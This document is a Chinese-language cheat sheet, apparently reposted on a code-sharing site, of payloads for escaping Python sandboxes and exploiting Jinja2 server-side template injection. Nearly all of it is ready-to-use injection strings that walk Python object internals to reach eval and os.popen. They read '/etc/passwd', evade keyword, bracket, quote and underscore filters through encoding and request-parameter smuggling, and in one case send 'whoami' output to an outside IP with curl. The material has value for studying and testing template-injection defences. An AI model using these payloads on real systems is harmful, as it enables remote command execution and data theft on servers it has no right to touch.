SSTI注入繞過(沙盒逃逸原理一樣)


在python沙盒逃逸中繞過道理是一樣的。

1.python沙盒中刪除了很多模塊,但是沒有刪除reload

reload(__builtins__),重新加載被刪除的模塊,直接命令執行,只用於py2  

2.直接過濾了敏感字符,如eval,os等。

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}
2.1 base64
 
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))}} (可以看出單雙引號內的都可以編碼) 

2.2 rot13  

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['riny'.decode('rot13')]("__import__('os').popen('ls').read()")}}  
2.3 16進制編碼  

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['6576616C'.decode('hex')]("__import__('os').popen('ls').read()")}}   
2.4  拼接字符串(base64,hex,rot13也可以進行拼接)

過濾了(ls.import.eval.os)   
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['e'+'val']("__im"+"port__('o'+'s').popen('l'+'s').read()")}}  

3.過濾了中括號[]

3.1 getitem() 用來獲取序號

"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)

3.2 fangfa['shuxing']-->fangfa.shuxing,類似於字典  

{{''.__class__.__mro__[2].__subclasses__().__getitem__(59).__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat /etc/passwd').read()")}}  
{{''.__class__.__mro__[2].__subclasses__().__getitem__(59).__init__.__globals__.__builtins__.eval("__import__('os').popen('cat /etc/passwd').read()")}}(不能直接進入python環境下用,可能是python程序運行的時候會自己加載什么東西。) 

4.過濾了引號' "

4.1 利用request傳值,漏洞形式必須是?name=這種形式的或者說是提交表單用post方式。(這種方法在沙盒逃逸中行不通的,只有web接收參數形式有可能)
  
{{[].__class__.__mro__[1].__subclasses__()[40](request.args.cat).read()}}&cat=/etc/passwd(類似於過濾了下划線)   

4.2 chr傳值  

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{''.__class__.__mro__[2].__subclasses__().__getitem__(59).__init__.__globals__.__builtins__. eval( chr(95) %2b chr(95) %2b chr(105) %2b chr(109) %2b chr(112) %2b chr(111) %2b chr(114) %2b chr(116) %2b chr(95) %2b chr(95) %2b chr(40) %2b chr(39) %2b chr(111) %2b chr(115) %2b chr(39) %2b chr(41) %2b chr(46) %2b chr(112) %2b chr(111) %2b chr(112) %2b chr(101) %2b chr(110) %2b chr(40) %2b chr(39) %2b chr(108) %2b chr(115) %2b chr(39) %2b chr(41) %2b chr(46) %2b chr(114) %2b chr(101) %2b chr(97) %2b chr(100) %2b chr(40) %2b chr(41))}}
['eval']這里可以直接用.eval()代替,eval里面的執行的語句,把它全部變為chr()+chr()的形式,最后不要忘記給+編碼為%2b
經過實驗我發現只能是里面的執行的語句變為chr()形式,像eval這種不可以。  

5.過濾雙下划線__

利用request傳值  

5.1{{()[request.args.class].__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}&class=__class__  
5.2將其中的request.args改為request.values則利用post的方式進行傳參
GET:{{()[request.args.class].__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}
結合下邊的post方式一起
POST:class=__class___  

6.刪除掉了built下邊的很多函數,不能命令執行。

os, eval, import,,一種是自己現引入(__import__('os'.popen('ls').read())),另一種是其他的模塊直接能夠調用os    
6.1 <class 'site._Printer'> [71](可以直接調用os模塊)  
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}    
6.2  <class 'warnings.catch_warnings'>[59]   
open,eval,file,__import__,reload(並沒有os.需要用eval配合__import__導入)
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}

7.過濾{{

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://39.105.116.195:8080/?i=`whoami`').read()=='p' %}1{% endif %}

8.補充一種姿勢

{{().__class__.__base__.__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['popen']('l'+'s').read()}}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM